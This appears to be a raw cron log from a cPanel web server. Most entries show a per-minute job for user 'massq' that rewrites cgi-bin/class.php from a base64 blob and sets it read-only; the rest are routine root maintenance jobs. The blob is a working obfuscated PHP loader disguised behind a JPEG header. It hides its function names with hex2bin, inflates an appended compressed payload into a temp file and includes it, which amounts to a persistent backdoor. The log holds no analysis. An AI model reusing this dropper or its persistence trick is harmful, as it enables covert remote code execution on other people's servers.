Nov  9 08:15:01 server CROND[9416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:15:01 server CROND[9419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:16:01 server CROND[10288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:17:01 server CROND[11239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:18:01 server CROND[12046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:19:01 server CROND[12758]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:20:01 server CROND[13266]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 08:20:01 server CROND[13268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:20:01 server CROND[13271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:20:01 server CROND[13269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:20:01 server CROND[13270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:21:01 server CROND[14087]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:22:01 server CROND[14883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:23:01 server CROND[15784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:24:01 server CROND[16354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:25:01 server CROND[17169]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:25:01 server CROND[17170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:25:01 server CROND[17173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:25:01 server CROND[17174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:26:01 server CROND[17814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:27:01 server CROND[18635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:27:01 server CROND[18636]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
